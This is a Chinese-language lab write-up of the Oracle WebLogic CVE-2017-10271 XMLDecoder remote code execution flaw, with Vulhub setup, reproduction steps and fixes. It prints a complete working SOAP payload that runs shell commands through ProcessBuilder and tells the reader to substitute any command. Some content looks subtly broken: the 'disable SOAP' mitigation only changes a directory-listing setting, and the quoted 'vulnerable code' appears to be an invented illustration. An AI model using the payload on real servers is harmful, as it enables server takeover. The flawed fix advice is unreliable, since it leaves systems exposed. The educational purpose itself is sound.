0x00 漏洞概述
CVE-2017-10271 是Oracle WebLogic Server WLS Security组件中的远程代码执行漏洞。攻击者通过构造恶意XML请求,利用XMLDecoder反序列化机制绕过安全验证,最终实现服务器权限接管。
影响版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.0~12.2.1.2
漏洞危害
- 远程代码执行(RCE):直接获取服务器Shell
- 数据泄露:读取数据库配置、密钥等敏感信息
- 横向渗透:作为跳板攻击内网其他系统
0x01 漏洞原理
技术背景
WebLogic的wls-wsat组件(Web Services Atomic Transaction)用于处理SOAP协议请求,其核心流程如下:
SOAP Request → XMLDecoder解析 → 实例化Java对象 → 执行操作
漏洞触发点在于XMLDecoder未对反序列化内容做安全过滤,导致攻击者可通过恶意XML注入任意Java代码。
关键代码分析
漏洞位于wls-wsat.war!/CoordinatorPortType.java
:
public void processXML(XMLStreamReader xmlReader) {
XMLDecoder decoder = new XMLDecoder(xmlReader); // 未校验输入直接反序列化
Object obj = decoder.readObject(); // 恶意对象被实例化
invokeBusinessLogic(obj); // 触发恶意逻辑
}
攻击载荷构造
利用java.lang.ProcessBuilder
执行系统命令的典型XML结构:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>touch /tmp/pwned</string></void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
0x02 环境搭建
实验环境
组件 | 版本 |
---|---|
Docker | 20.10+ |
Vulhub靶场 | weblogic/CVE-2017-10271 |
攻击机 | Kali Linux 2023 |
一键启动漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
访问 http://your-ip:7001
确认WebLogic控制台正常加载。
0x03 漏洞复现
步骤1:检测漏洞端点
发送探测请求到/wls-wsat/CoordinatorPortType
端点:
curl -X GET http://target:7001/wls-wsat/CoordinatorPortType
若返回HTTP 200
且包含WS-AtomicTransaction
字样,则存在漏洞。
步骤2:构造RCE攻击
使用Burp Suite发送恶意SOAP请求:
- 请求路径:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
- Content-Type:
text/xml
- Payload:替换XML中的
<string>touch /tmp/pwned</string>
为任意命令
步骤3:验证执行结果
进入Docker容器检查命令是否执行:
docker exec -it <container-id> /bin/bash
ls -l /tmp/pwned # 查看文件是否创建成功
0x04 修复方案
临时缓解
- 删除wls-wsat组件:
rm -rf /weblogic/path/servers/AdminServer/tmp/_WL_internal/wls-wsat
- 禁用SOAP协议:
<!-- 修改weblogic.xml --> <container-descriptor> <index-directory-enabled>false</index-directory-enabled> </container-descriptor>
官方补丁
升级至WebLogic 10.3.6.0.211107 或 12.2.1.4.211107 及以上版本。
长期防御
- 输入过滤:对XML内容进行白名单校验
- 权限隔离:WebLogic进程以低权限用户运行
- 流量监控:使用WAF拦截异常SOAP请求
0x05 防御思考
此漏洞暴露了反序列化信任边界的致命缺陷。开发过程中应遵循:
- 最小化反序列化接口暴露
- 采用安全的序列化协议(如JSON、Protobuf)
- 强制签名验证关键数据
参考资源
实验声明:本文仅用于网络安全研究,请在合法授权环境下进行测试!